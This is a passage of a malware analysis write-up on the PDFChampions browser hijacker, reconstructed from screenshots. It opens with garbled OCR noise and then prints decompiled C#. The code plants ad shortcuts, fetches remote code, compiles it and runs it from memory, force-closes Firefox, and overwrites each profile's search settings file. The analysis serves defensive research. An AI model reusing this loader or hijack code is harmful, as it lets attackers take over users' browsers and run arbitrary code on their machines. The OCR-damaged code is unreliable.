YPOAQyZgCQCR] CgCRICkARDKMABD IMAJAIGPaHVhkdEa+q7 F+AxDZ0] Y9EBQAIh 1 TAThkTAEgk JEFQE j GFAALGVYMALIGRMASCSMQWASMYUACIZUWC IZEWBIJIxBYBIxhQAThn
TScCDCaM+AakINV/LgBQAMo78gd8gmgKIZEWBI JIxBYBIxtQDqBPCENDFFSB8B59zIkd/ fhZvyB8/82cNTVS1CUr LY1tROASTrAsqvNQ215mqEQ2GiBdACEOXWEBY Y 3RVMALK YW
PAEQYPQAQYZREALXCT/ANVIASYDYVMY ] ZOI2VIWvCZQtwD+Ih(LLmamoADUADUCI3pD/ABYL330Ws 3K gbBXK1DKFYS4656poAiGVMAIGRMASCSMe 1] 63WISSwluilt 1Pz8vof
m/DdFAVC) eTRbPVINJISFLQFMAK YWpPAEQYPOAQYZgCQCRj COCR jCKARDKMABD JMAJAIGNACCQyK Lt gLa 1+AxDIMAJAIGMKAIGMKQBEMg YmYI322a8cAqb7a2a9u4Dd 1YGEGHY
¥fKusS2DR1WaheN3Vho+3I7ujPvmt TgFQTzbA3WDBOHCT qykCN15gYSA 14 JKrvQ285Wo9QAFQQ1MAK YWPAEQYpOAQYZhBADXMy v 34+b7Zp8F+r LrD1AbYcIkeQLgC FODGFWB
G6L9BEVWilbD9wpFoqHwY+6cZpd+CNF4h+57USLLzpxieRoveyvhcDOBRAIGMKAIGMKQBEMgYeQK3wL viVZ+EHWA/ dQMeSheP/kFqAcMHVXgeWXa2H1FIALALheBPXdbZg54F
dbqgCYDjipcDxh71NCLEM7BcANAUQYZgCQCR ] CgCRjKKkHUG+I+KqycBCUG2n00Ry+B1AST z-+Wr 9aHyRL /7tg3GhUANZ rHTyBkyq1Rn5eMRL fm676jKYBIxhQAIh1TAThkTD8
AkYGEZeDNas26wHk3cILAFNID/yOb/awUACIDCKFYANTUXzZNSHS J7bug@ZoMGwMj3Bt IUQCRjCgCR] CkARDKmHKCNI tmv30Jb9W W24 /bLEQLA FNIP1VdfOhmPrQicrmsce
TWZyRIVPT1GIFVq6AdTECSASQZ rgncQuwMx/0ENquNgvhTVe7Mszn laIAqHcQ20tgnwY0uJoSYGEGucz 3HCB/ cFaAoQbA1X0brFSKqbLSyOMX+0utmZMdQvHP LXFmREDEVXe
80166 j+EshBEnntumehRAJGMKAIGMKQBEMgYeQA2zch+r FYC+YvkQ2N1+K0oDDCgl6ecyhH LXmBDKS 11tQy/ 7bT/39ajhZ935PZh9yg3t tGZOTURgDVY3JuB3D+HT/ GOIVIhG
GBeINTjb96kIFQBEr 7wDucbUvgP2iHAKCYFCpALiSUNNNDih/4Gobfdl/IPAcHAT7LVebh/Ciq7UmDxx7ur/QufzSNGYn1o3rUEz6oCibxx73gbfpNAUQyZgCQCRCgCRKk
HUOBCcVDOAHEFmuUb /getdBbeEzLnayaC/JZulZh7b7007ELFgLYbQ8IFq9ponT Le2ebHue jS+xBP5Maz BRPWMWXXM/PTAQuTySBIVTEVSQL j knSxZd78rhNbMSd9I7oVixxy
+sc1]j juw+t0agAqPcTWC/ZvAgeaR31i20xgleAFwumT lw2R1Zy /RBSYDgO/anwlecbUlol2erAl81t XuBf t CtWSLED7ujvemivNNykTj tqOVhl/3R0sTKTtH3bgpwDeSFwB/ eXH
qZqQbR IMAKYwWPAEQYPgAQYZhGAPUWITeAOEdB 1ZqsT4/4Kr820cIfm8DsF leTAyt/2T32k Im501I IX6mde fSnTrEHEGv+DhP/ clwkvt FfksVz+173/Bm/oGkn20dcrQBug5Z
CGyv9Z3IKozWUFQI29n/3bulT5/ JoPJBuidebk FHBXpW] 1Z8B+1w2NG2rGIUJ4oTrMIo0dcI/ dweoy334 TwXzzeR/ YHT payWazsdBuzPwlw) 1WFSDOn8tFSFOJ4w2NpgALiGYM
A1GRMASCSMTUAZNWUxDszp97HDeLFWgHsFyoVsz3ATuowm2Qwk2BHXM3wzUx JKnGOgb] POEJUhrp3gAJAxoxNEH9gpBHEBB2Ua0BI/ 307 TwIPZidk JN/nYHoQdr jZFHGSgAor
IcCgARDKmMABD JmHoANdpnv7IT9zpZ2duDv2/ 860Kt TXpJcKoRZRDE /HQX FENUhWQOW64 TKispyyvwTqT702ysaYHT+G6 70+ Tw+\WTuCvedj4J¥xfeVv9s3HarBddItya0ZnYByH
AKWQthEZ@17HMBVPL3IACONSBYI+r3Q/cemr j+RYcXGojD/8mTAd4xdVWiK/p363coNsFuOvBmcQ3/Ad3Y/YZN+T2Ub84NGGInhsYVn7elbgEcDAaB36XohJ4NTHYNOMGNALU
QYZYCQCRjCYCRjKkHUMDSVIVobmoPYHbYDX31uQ6Z7wWHEWK09gBB2ZmyUuU3G6Z Ie0B LS xvTGKHQDUdbU IVG/ME3cQrDrntegfMy 78528H2A0u1sNSpESZBH+Vas8o3 L3veyj
E7iPeG0T3ie/nttEDWDPBKjXjaYL599T/ 7 FnUn1V2wGmdefQOwN9z7AGWL 7 rHhsQKvISmIuMoJPASMo1F 12VDFDEKS9x4d I lgL8b j+Ck30CmASMYUACTZUWCIZEwIgHa tVve
BEBNeg2iTiBxTANXNHHgbBKVRUivR IvALVAKHsSWhhUQO9RyHueRjxJiorxTuDat+TenFrhNB4DbcxiAXmiFYCWmABkG]jGhd LAde+XeC1+ZPERBF+VmvUmiTht Y IpduWy0/G/
qJSHE2NWWQ2Pqt FUeWEQyogAQyZgCQCR] GgHUWyY Juwlwgyvc7SNUITC3ImSduTiemHtohb 1i1gF1X20818xvy0/PugB3zkaivEC4ZqKQBgNI+fT110+daoz2ucFdOHSNATKSW |
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20251108 Edit — The code below is from the response snip above. | ran it through the Cyber Chef JSON
Beautify and Unescape string recipes. I've truncated the string base64lmage because it was too long.
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"success": true,
"message": null,
"data": "using System;
using System.IO;
using System.Text;
using System.Drawing;
namespace ModuleShort

{
public class Product
{
public void CreateProduct(string productName)
{
CreateIco(productName);
CreateShort(productName);
CreateShortSmart(productName);
}
public void CreateIco(string name)
{
string base64Image = "{TRUNCATED}";
try
{

byte[] imageBytes = Convert.FromBase64String(base64Image);

string targetPath
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);

string targetIconPath = Path.Combine(targetPath, name + ".ico");

System.IO.File.WriteAllBytes(targetIconPath, imageBytes);

b
catch (Exception ex)
{
b
b
public void CreateShort(string nameOfShort)
{
string name = nameOfShort.Insert(3, " ");

string targetPath = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);

string localIconPath =
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);

string iconPath = Path.Combine(localIconPath, nameOfShort + ".ico");

string shortLocation = Path.Combine(targetPath, name + ".url");

string str = string.Format("[InternetShortcut]\nURL = {0}\nIconFile = {1}\nIconIndex = 0",
"https://champion." + nameOfShort + ".com", iconPath);

try
{
using (FileStream fs = System.IO.File.Create(shortLocation))
{
byte[] info = new UTF8Encoding(true).GetBytes(str);
fs.Write(info, ©, info.Length);
}
}
catch (Exception e)
{
}
}
public void CreateShortSmart(string nameOfShort)
{
string name = nameOfShort.Insert(3, " ");

string targetPath =
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Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.StartMenu), nameOfShort);

string localIconPath =
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);

string iconPath = Path.Combine(localIconPath, nameOfShort + ".ico");

string shortLocation = Path.Combine(targetPath, "Uninstall " + name + ".url");

if (!Directory.Exists(targetPath))

{

Directory.CreateDirectory(targetPath);

}

string str = string.Format("[InternetShortcut]\nURL = {0}\nIconFile = {1}\nIconIndex = 0",
"https://" + nameOfShort + ".com/uninstall", iconPath);

try
{
using (FileStream fs = System.IO.File.Create(shortLocation))
{
byte[] info = new UTF8Encoding(true).GetBytes(str);
fs.Write(info, O, info.Length);
}
}
catch (Exception e)
{
}
}
}
3
}

The RunShortcutCreation method just executes RunDynamicMethod, as seen in the snip below.

( code, appTitle)

{code, "Modul % 5 " ct”, [1 { appTitle }};

The main part of the code is at the bottom of the “short” response. It is basically code to create a desktop
shortcut to hxxps|[:]J//champion.pdfchampions[.Jcom as seen in the snip below.
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AAAACAEQAAGAEAATABAACAAQAAQAEAATABAACAAQAAQAEAATABAACAAQAAN" ; \n\n try\n

{\n byte[] imageBytes = Convert.FromBase645tring(base64Image);\n\n

string targetPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationD
ata);\n string targetIconPath = Path.Combine(targetPath, name + \".ico\"};
\n System.I0.File.WriteAllBytes(targetIconPath, imageBytes);\n

I\n catch (Exception ex)\n {\n I\n I\n pub
lic void CreateShort(string nameOfShort)\n {\n string name = nameOfShor
t.Insert(3, \" \");\n string targetPath = Environment.GetFolderPath(Environmen
t.SpecialFolder.DesktopDirectory);\n string locallconPath = Environment.GetFol
derPath(Environment.SpecialFolder.LocalApplicationData);\n string iconPath = P
ath.Combine(localIconPath, nameOfShort + \".ico\"};\n string shortLocation = P
ath.Combine(targetPath, name + \".url\");\n string str = string.Format(\"[Inte
rnetShortcut ]\\nURL = {@}\\nIconFile = {1}‘\\nIconIndex = @\", \"https://champion.\" + nam
e0fShort + \".com\", iconPath);\n try\n i\n using (F
ileStream fs = System.IO.File.Create(shortLocation))\n {\n

byte[] info = new UTF8Encoding(true).GetBytes(str);\n fs.Write(info, ©
, info.Length};\n I\n I\n catch (Exception e)\n

{\n n n public void CreateShortSmart(string nameOfShort)\n
{\n string name = nameOfShort.Insert(3, " \");\n string targetPath
= Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.StartMenu), nameOfShor
t);\n string localIconPath = Environment.GetFolderPath({Environment.SpecialFold
er.LocalApplicationData);\n string iconPath = Path.Combine(localIconPath, name
ofshort + \".ico\");\n string shortLocation = Path.Combine(targetPath, \"Unins
tall \" + name + \".url\");\n if (!Directory.Exists(targetPath))\n

{\n Directory.CreateDirectory(targetPath);\n I\n str
ing str = string.Format(\" [InternetShortcut]\\nURL = {@}\\nIconFile = {1}\\nIconIndex = @
A", N'https://\" + nameOfShort + \".comfuninstall\", iconPath);\n try\n

{\n using (FileStream fs = System.IO.File.Create(shortLocation))\n

{\n byte[] info = new UTFBEncoding(true).GetBytes(str);\n
fs.Write{info, @, info.Length);\n Ih\n I\n catch (Exc
eption e)\n {\n \n I\n "}

After the first screen is done, it calls on Frox.SetFF as seen in the snip below. This is where the browser
hijacking occurs.

The snip below shows the code for SetFF. It runs a fetch for the “seof” segment on line 22, and compiles the
string into assembly on line 33. It executes the code to close all of the Firefox processes on line 52 and then it
executes the code method “GetFF” on line 55.
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(currentOperation ==

type.I

20251108 Edit — The code below is from the snip above.
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public static bool SetFF(Frox.Operation currentOperation, string url = "")

{

if (Frox.OpsAssembly
{

null)

string text =
ConfigurationService.Current.Pid, "seof");
if (!string.IsNullOrEmpty(text))

Retrieve.Fetch(ConfigurationService.Current.CodeUri,

{
MetadataReference[] array = new MetadataReference[]
{
MetadataReference.CreateFromFile(typeof(object).Assembly.Location,
default(MetadataReferenceProperties), null),
MetadataReference.CreateFromFile(typeof (Enumerable).Assembly.Location,
default(MetadataReferenceProperties), null),
MetadataReference.CreateFromFile(typeof(Component).Assembly.Location,
default(MetadataReferenceProperties), null),
MetadataReference.CreateFromFile(typeof(Clipboard).Assembly.Location,
default(MetadataReferenceProperties), null),
MetadataReference.CreateFromFile(typeof(HttpClient).Assembly.Location,
default (MetadataReferenceProperties), null)

Y
Frox.OpsAssembly = Assemble.CompAndGo(text, array);

}
else if (!Frox.IsSent)
{
TelemetryReporter.Send(9, "Error FTOF code is Empty");
Frox.IsSent = true;
}
}
if (Frox.OpsAssembly != null)
{
Type type = Frox.0OpsAssembly.GetType("TOFFF.UpdateFFFile");
object obj = Activator.CreateInstance(type);
if (currentOperation == Frox.Operation.OPEN)
{
type.InvokeMember ("OpenUrl", BindingFlags.InvokeMethod, null, obj, new object[]
{url });
return true;
}
if (currentOperation == Frox.Operation.FFTO)
{
bool flag = (bool)type.GetMethod("CloseAll").Invoke(obj, new object[0]);
if (flag)
{
flag = (bool)type.GetMethod("GetFF").Invoke(obj, new object[] { url });
}
else
{
TelemetryReporter.Send(9, "Error Failed CloseALL");
}
return flag;
}
}

return false;

The snip below shows the response for the “seof” segment. The gist of GetFF is that it is used to copy the
previously mentioned mozlz4 file to each Firefox profile directory. In our case, it will set the default search
engine to the more.mariosearch[.Jcom search URL.
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{"success":true, "message” :null, "data”:"using System;\nusing System.Diagnostics;\nusing System.I0;%nusing System.Net . Http;“nusing System.Collections.Generic;\nus

ing System.Threading;\n\nnamespace TOFFFAn{\n public class UpdateFFFile\n {\n public static void DpenIJrl[string url)yn {\n OtherH
elper.openurl{url} \n Thn public static bool GetFF{string url)\n {\n string fileName = \"search.json.mozlzd\";\n stri
ng pPath = \"\";\n string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);\n L19t¢str1ng> profileDirs = new
List<string>(); \n string tfolder = “\"Profiles\";\n\n try'n {\n foreach (string prefsPath in Directory.GetFiles(a
ppData, \"extensions.json\", Searchoptjon.Alluirectories)}\n {\n string dir = Path.GetDirectoryMame(prefsPath);\n
profilebirs.Add(dir);\n Funin foreach (string dir in profilebirs)\n {\n var parts = dir.Split(Pa
th.DirectorySeparatorChar);\n var result = new System.Text.StringBuilder();\n\n foreach (var part in parts)\n

{sn result.Append(part) . Append{Path.DirectorySeparatorChar);\n if (string.Equals(part, tfolder, StringComparison.0
rdinalIgnorecase))n break;\n JAVIAY] pPath = result.ToString().TrimEnd(Path.DirectorySeparatorCh
ar});\n Jhun }un catch (UnauthorizedAccessException e)\n {\n Console.WriteLine(\"Access denied to s
ome folders: \" + e.Message);\n Funin string profilesPath = \"%\";\n\n if (!string.IsNullOrEmpty(pPath))n {wn
profilesPath = pPath;\n Jin else\n {\n profilesPath = Path.Combine({Environment .GetFolderPath({Environment.SpecialFo
lder .ApplicationData), “"Mozilla\", \"firefox\", \"Profiles\"};%n }unsn bool copiedAtlLeastOne = false;\n\n if (Directory.Exists
(profilesPath))}\n {sn foreach (string profileFolder in Directory.GetDirectories(profilesPath))in {\n

string tempFilePath = Path.Combine(Path.GetTempPath(), fileName);\n string profileName = Path.GetFileName(profileFolder});%n

if (!saveConfigToFile($\"{url}{profileName}\"))\n {\n continue;\n }unsn if ('Fil
e.Exists(tempFilePath))\n {n continue;\n Fun\n string destinationFilePath = Pat
h.Combine{profileFolder, fileName);:\n\n if (File.Exists(destinationFilePath))‘n {'n trywn

{sn File.Copy(tempFilePath, destinationFilePath, true);\n Console.WriteLine(8\"Copied to: {destinationFile
Path}y™);%n copiedAtLeastOne = true;swn \n catch (Exception ex)\n

{n //Console WriteLine($\"Failed to copy to {destinationFilePath}: {ex.Message}\"};\n Tun

Iun }hn Jhn return copiedAtLeastOne;\n Iwn public static bool SaveConfigToFile(string apiurl)“wn {wn
var fileName = \'"search.json.mozlz4\";\n string tempFolderPath = Path.GetTempPath();\n string filePath = Path.Combine(tempFolderPath, file
Name ) ; \nn try’\n {\n using (var httpClient = new HttpClient())‘n using (var response = httpClient.GetAsynci(a
pilrl).Result }\n {\™n if (!response.IsSuccessStatusCode)\n return false;\n\n using (v
ar r tream = r .Content . ReadAsStr Async().Result)in using (var fileStream = new FileStream(filePath, FileMode.Create, FileAcce
se. urlte FileShare. None}}\n {n responseStream. CopyToffileStream) ; \a Tunn cons
ole. wr:.teLlnel[.‘E\"FlLe saved successTully at {filePath}\");\n return true;%n Jun Tun catch (Exception ex)
\n {\n Console.WriteLine($\"Exception in SaveConfigToFile: {ex.Message}\");\n return false;\n Isn }\n
public static beool CountFFProf)in \n Process[] processes = Process.GetProcessesByName(\"firefox\");\n\n return processes. Length-
B;%\n i public static bool CloseAll{)\wn {n int j = @;\n bool result = false;%n don
OtherHelper.CleanBro(false);\n if (j = 50 && !CountFFPro{})\n {\n OtherHelper.CleanBro{ true) ;\n\t Thread -]
leep(2808);\n Thn result = CountFFProf);\n if (result) { break; }\n J4+;\n 1 while (j ==
51);\n return result;\n Jun Ihn public static class OtherHelperin {\n publlc static string GetFFPath()\n {n

string[] petentialPaths = new[]%\n {n SA\"C:\\Program Files\\Mozilla Firefox\\firefox.exe\", \n $@%"C:\\Program
Files (x86)\\Mozilla Firefox\\firefox.exe\"\n };sn\n foreach (var path in potentialPaths)n {\n if (File.Exi
sts(path))\n {n return path;%n fall Tun return \"\";\n Inn public static wvo
id CleanBro(bool mode)n {\n try\n {\n\n string command = \"\";\n command = $\"taskkill /IM [\"firefo
x.exeN"I\";\n if (mode) command = $\"taskkill /F /FIM {\"firefox.exe\"} /T\";\n\n /4 Start command prompt processin

using (var proecess = new Process())\n {n process.StartInfo.FileName = \"emd.exe\";\n process.StartInfo.Arg
uments = $\"/C {command}\";\n process.StartInfo.RedirectStandardoutput = true;\n process.5tartInfo.UseshellExecute = false
HY| process.StartInfo.CreateNoWindow = true;wn\n process.Start(});\n process.WaitForExit(); // wait for
the command to completein\n Console. 'hrr.l.teL:Lne(\ ¥-bro Done.\");wn Isn Al catch (Exception ex)n

{n Console.WriteLine($\"An error occurred: {ex.Messagel}\™);%wn Fun Jun public static woid OpenUrl{string wrl)\n {
A\n try\n {n string ePth = GetFFPath();\n if (!string.IsNullOrEmpty(ePth}) {\n Process.St
art(ePth, url);\n }un else {\n Process.Start{\"firefox\", url);\n ¥un \n

catch (Exception ex)\n {\n Console.WriteLine($\"An error occurred opening bro: {ex.Message}“");\n }un Jun }un}in"
1

20251108 Edit — The code below is from the response snip above. | ran it through the Cyber Chef JSON
Beautify and Unescape strings recipes.

29/35



"success

"message

lldatall .
using System

using System.

using System
using System
using System

namespace TO

{
public c

{
publ

{
b

publ
{

SearchOption

" true,

" null,

"using System;
.Diagnostics;

I0,

.Net.Http;
.Collections.Generic;
.Threading;

FFF
lass UpdateFFFile
ic static void OpenUrl(string url)

OtherHelper.OpenUrl(url);

ic static bool GetFF(string url)
string fileName = "search.json.mozlz4";
string pPath = "";

string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
List<string> profileDirs = new List<string>();
string tfolder = "Profiles";

try
{

foreach (string prefsPath in Directory.GetFiles(appData, "extensions.json",

.AllDirectories))
{
string dir = Path.GetDirectoryName(prefsPath);
profileDirs.Add(dir);
}
foreach (string dir in profileDirs)
{
var parts = dir.Split(Path.DirectorySeparatorChar);
var result = new System.Text.StringBuilder();
foreach (var part in parts)
{
result.Append(part).Append(Path.DirectorySeparatorChar);
if (string.Equals(part, tfolder, StringComparison.OrdinalIgnoreCase))
break;
}
pPath = result.ToString().TrimEnd(Path.DirectorySeparatorChar);
}
}
catch (UnauthorizedAccessException e)
{
Console.WriteLine("Access denied to some folders: " + e.Message);
}
string profilesPath = "";

if (!string.IsNullOrEmpty(pPath))

{
profilesPath = pPath;
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else

{
profilesPath =

Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationbData), "Mozilla",

"firefox", "Profiles");

}

bool copiedAtLeastOne = false;

if (Directory.Exists(profilesPath))

{
foreach (string profileFolder in Directory.GetDirectories(profilesPath))
{
string tempFilePath = Path.Combine(Path.GetTempPath(), fileName);
string profileName = Path.GetFileName(profileFolder);
if (!SaveConfigToFile($"{url}{profileName}"))
{
continue;
}
if (!File.Exists(tempFilePath))
{
continue;
}
string destinationFilePath = Path.Combine(profileFolder, fileName);
if (File.Exists(destinationFilePath))
{
try
{
File.Copy(tempFilePath, destinationFilePath, true);
Console.WritelLine($"Copied to: {destinationFilePath}");
copiedAtLeastOne = true;
}
catch (Exception ex)
{
//Console.WriteLine($"Failed to copy to {destinationFilePath}:
{ex.Message}");
}
}
}
}
return copiedAtLeastOne;
}
public static bool SaveConfigToFile(string apiUrl)
{

var fileName = "search.json.mozlz4";
string tempFolderPath = Path.GetTempPath();
string filePath = Path.Combine(tempFolderPath, fileName);

try
{
using (var httpClient = new HttpClient())
using (var response = httpClient.GetAsync(apiUrl).Result)
{
if (!'response.IsSuccessStatusCode)
return false;
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using (var responseStream = response.Content.ReadAsStreamAsync().Result)

using (var fileStream = new FileStream(filePath, FileMode.Create, FileAccess.Write,
FileShare.None))

responseStream.CopyTo(fileStream);

Console.WriteLine($"File saved successfully at {filePath}");
return true;

}

catch (Exception ex)

{
Console.WriteLine($"Exception in SaveConfigToFile: {ex.Messagel}");
return false;

}
public static bool CountFFPro()

{

Process[] processes = Process.GetProcessesByName("firefox");

return processes.Length == 0;

}
public static bool CloseAll()

{

int j = 0;

bool result = false;

do

{
OtherHelper.CleanBro(false);
if (j > 50 && !CountFFPro())
{

OtherHelper.CleanBro(true);
Thread.Sleep(2000);

}
result = CountFFPro();
if (result) { break; }
J++;

} while (j <= 51);

return result;

3

public static class OtherHelper
{
public static string GetFFPath()
{
string[] potentialPaths = new[]
{

$@"C:\Program Files\Mozilla Firefox\firefox.exe",
$@"C:\Program Files (x86)\Mozilla Firefox\firefox.exe"

};
foreach (var path in potentialPaths)
{

if (File.Exists(path))

{

return path;

}
}
return "";
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public static void CleanBro(bool mode)

{
try
{
string command = "";
command = $"taskkill /IM {"firefox.exe"}";
if (mode) command = $"taskkill /F /IM {"firefox.exe"} /T";
// Start command prompt process
using (var process = new Process())
{
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = $"/C {command}";
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.UseShellExecute = false;
process.StartInfo.CreateNowWindow = true;
process.Start();
process.WaitForExit(); // Wait for the command to complete
Console.WriteLine("x-bro Done.");
}
}
catch (Exception ex)
{
Console.WriteLine($"An error occurred: {ex.Message}");
}
}
public static void OpenUrl(string url)
{
try
{
string ePth = GetFFPath();
if (!string.IsNullOrEmpty(ePth)) {
Process.Start(ePth, url);
}
else {
Process.Start("firefox", url);
}
}
catch (Exception ex)
{
Console.WriteLine($"An error occurred opening bro: {ex.Message}");
}
}
}
}
}
Summary

PDFChampions is a YAPA Browser Hijacker with loader capabilities that downloads, compiles, and executes
dynamic code from memory. This research was a continuation of my research into ConvertMaster

and ConvertyFile browser hijackers. All three are delivered via ads. | consider PDFChampions to be the most
dangerous because it includes the loader capabilities.
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